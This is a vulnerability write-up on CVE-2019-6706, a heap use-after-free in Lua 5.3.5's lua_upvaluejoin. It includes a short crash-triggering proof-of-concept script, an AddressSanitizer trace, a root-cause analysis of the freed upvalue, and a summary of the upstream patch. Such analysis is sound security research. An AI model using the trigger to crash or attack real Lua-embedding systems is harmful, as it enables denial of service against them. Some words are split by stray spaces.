CVE-2019-6706 Analysis

Author : Sunghun Oh

1. Overview

Crash type : heap use-after-free

Version : Lua 5.3.5 (git commit hash : af35c7f398e8149b5f2481b63b399674e4ecdf7e)

2. PoC code

```
f = load(function() end)
Interesting = {}
interesting[0] = string.rep("A",512)
debug.upvaluejoin(f, 1, f, 1)
```

3. Root Cause Analysis

This crash has already free upvalue, which reuses the freed upvalue space, resulting in a Heap Use After Free. When the PoC code is executed with the Lua interpreter to which the Address sanitizer is applied, the following logs can be checked.

```
==72968==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030000025f8 at pc 0x55584deca97f bp 0x7ffd1a8a8cc0 sp 0x7ffd1a8a8cb0
READ of size 8 at 0x6030000025f8 thread T0
    #0 0x55584deca97e in lua_upvaluejoin /home/sh/lua535/src/lapi.c:1294
    #1 0x55584df0cb6a in db_upvaluejoin /home/sh/lua535/src/ldblib.c:296
    #2 0x55584ded05ec in luaD_precall /home/sh/lua535/src/ldo.c:434
    #3 0x55584def640a in luaV_execute /home/sh/lua535/src/lvm.c:1134
    #4 0x55584ded0c87 in luaD_call /home/sh/lua535/src/ldo.c:499
    #5 0x55584ded0cf2 in luaD_callnoyield /home/sh/lua535/src/ldo.c:509
    #6 0x55584dece8c9 in luaD_rawrunprotected /home/sh/lua535/src/ldo.c:142
    #7 0x55584ded1888 in luaD_pcall /home/sh/lua535/src/ldo.c:729
    #8 0x55584dec908b in lua_pcallk /home/sh/lua535/src/lapi.c:969
    #9 0x55584dec2a5e in docall /home/sh/lua535/src/lua.c:205
    #10 0x55584dec3ec6 in handle_script /home/sh/lua535/src/lua.c:445
    #11 0x55584dec3ec6 in pmain /home/sh/lua535/src/lua.c:580
    #12 0x55584ded05ec in luaD_precall /home/sh/lua535/src/ldo.c:434
    #13 0x55584ded0c26 in luaD_call /home/sh/lua535/src/ldo.c:498
    #14 0x55584ded0cf2 in luaD_callnoyield /home/sh/lua535/src/ldo.c:509
    #15 0x55584dece8c9 in luaD_rawrunprotected /home/sh/lua535/src/ldo.c:142
    #16 0x55584ded1888 in luaD_pcall /home/sh/lua535/src/ldo.c:729
    #17 0x55584dec908b in lua_pcallk /home/sh/lua535/src/lapi.c:969
    #18 0x55584dec219e in main /home/sh/lua535/src/lua.c:606
    #19 0x7f3b69d600b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    #20 0x55584dec286d in _start (/home/sh/lua535/src/lua+0x1686d)
```

In PoC code, LClosure is received through the 'load' function, and a table is placed in the 'In terrestring' variable to put the string.rep result. (2-3 line is a code that is not related to the c rash, and in fact, it can occur a crash with only 1, 4 lines code). Finally, by adding the same fu nction to the first argument and the third argument in 'debug.upvaluejoin(f, 1, f, 1)', a crash occurs.

The lua_upvaluejoin function present in lapi.c:1287 is as follows. This function make the n1-th upv alue of the Lua closure at index funcindex1 refer to the n2-th upvalue of the Lua closure at i ndex funcindex2.

```
LUA_API void lua_upvaluejoin (lua_State *L, int fidx1, int n1,
                                            int fidx2, int n2) {
    LClosure *f1;
    UpVal **up1 = getupvalref(L, fidx1, n1, &f1);
    UpVal **up2 = getupvalref(L, fidx2, n2, NULL);
    luaC_upvdeccount(L, *up1);
    *up1 = *up2;
    (*up1)->refcount++;
    if (upisopen(*up1)) (*up1)->u.open.touched = 1;
    luaC_upvalbarrier(L, *up1);}
```

lapi.c:1287 - lua_upvaluejoin

As can be seen in PoC code, when the 'debug.upvaluejoin' function is called internally, the 'lu a_upvaluejoin' function is called from within the lua program, which receives the double point er of up1 and up2 through the 'getupvalueref' function. Since the existing pointer of up1 is u nnecessary, the pointer of up1 is free from the function of 'luaC_upvdecount'. Thereafter, it is a logic that makes the pointer of up1 point to the pointer of up2 and uses it.

```
void luaC_upvdeccount (lua_State *L, UpVal *uv) {
    lua_assert(uv->refcount > 0);
    uv->refcount--;
    if (uv->refcount == 0 && !upisopen(uv))
        luaM_free(L, uv);
}
```

lgc.c:678 - luaC-upvdeccount

In 'lua_upvaluejoin' function, If the values of fidx1-n1 and fidx2-n2 are the same, the existing pointer up1 is free, and when *up1=*up2 is attempted, a freed space is allocated to the pointer of up1(= *up2), and then Heap Use After Free occurs at the next code ((*up1)->refcount++;).

4. Patch

The same pointer for 'up1' and 'up2' means the upvalue of the same function Closure, which was judged to have already been joined and patched so that it could be returned immediately.

And the 'getupvalue' is a function that returns the upvalue of the corresponding index in function Closure, and the fourth argument of this function is removed. This part is not related to the vulnerability, but it seems to have been removed because it is an unnecessary argument.

Detailed code patches can be found in the link below.

https://github.com/lua/lua/commit/89aee84cbc9224f638f3b7951b306d2ee8ecb71e

5. Reference

http://lua-users.org/lists/lua-l/2019-01/msg00039.html

http://lua-users.org/lists/lua-l/2019-01/msg00042.html

https://github.com/lua/lua/commit/89aee84cbc9224f638f3b7951b306d2ee8ecb71e